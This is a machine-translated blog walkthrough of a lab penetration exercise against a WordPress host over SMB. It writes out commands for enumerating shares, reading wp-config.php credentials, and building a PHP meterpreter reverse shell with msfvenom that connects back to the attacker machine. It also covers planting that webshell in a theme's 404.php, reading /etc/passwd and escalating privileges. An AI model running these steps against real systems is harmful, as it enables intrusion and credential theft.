SMB penetration

SMB penetration of the learning process

1.SMB Introduction

SMB (stands for Server Message Block) protocol is a name that can be used to communicate information between a Web connection and client and server. SMB was originally IBM's Barry Feigenbaum (Barry Feigenbaum) developed, its purpose is to DOS operating system in the local file interface "Interrupt 13" reform for the Network File System.
Baidu Encyclopedia
ready condition: kali attack aircraft: 192.168.31.101
Range: 192.168.31.62

2. The detection process

(1) using a netdiscover -r 192.168.31.1/24(子网掩码)probe into the LAN address range is: 192.168.31.62
(2) the use of nmap -sV 192.168.31.62(靶场地址)detection range open service
nmap Detailed instructions
Here Insert Picture Descriptionnmap -A -v -T4 192.168.31.62Here Insert Picture Description
for smb protocol vulnerability analysis: use smbclient -L 192.168.31.62
Here Insert Picture Description
For smb protocol vulnerability analysis
Here Insert Picture Description
get deets.txtto the desktop, then open another terminal, open deets.txt desktop

Viewwp-config.php

cd/wordpress
get wp-config.php
gedit wp-config.php

Here Insert Picture DescriptionTry to connect using the mysql

mysql 192.168.31.62 -u Admin -p
password : 粘贴密码
ssh [email protected]
粘贴密码

Both approaches fail

Because of the open http protocol is used dirb http:192.168.31.62
to find the link and open wp-admin
Here Insert Picture Description
login account using the password to open the link, the login is successful interface
Here Insert Picture Description

Production webshell

Here Insert Picture Description

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.101 lport=4444 -f raw

Here Insert Picture Description
Replica generating code to local

gedit shell.php

Here Insert Picture Description

 启动监听
msfconsole

Here Insert Picture Description

设置参数
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
show options
set lhost 192.168.31.101 (攻击机地址)
run

Here Insert Picture Description
Successful start, waiting for the connection
Here Insert Picture Description
to upload webshell Code

Here Insert Picture Description
After submitting your browser and enter the access point

192.168.31.62/wordpress/wp-content/themes/twentyfifteen/404.php

connection succeeded:Here Insert Picture Description

Here Insert Picture DescriptionHere Insert Picture Description

cat /etc/passwd

Here Insert Picture Description
Found togie user
to switch to togie user code is 12345

Here Insert Picture Description
Elevate permissions
Find flag
Here Insert Picture Description
video tutorial link

Published an original article · won praise 1 · views 102

Guess you like

Origin blog.csdn.net/weixin_42328919/article/details/104499183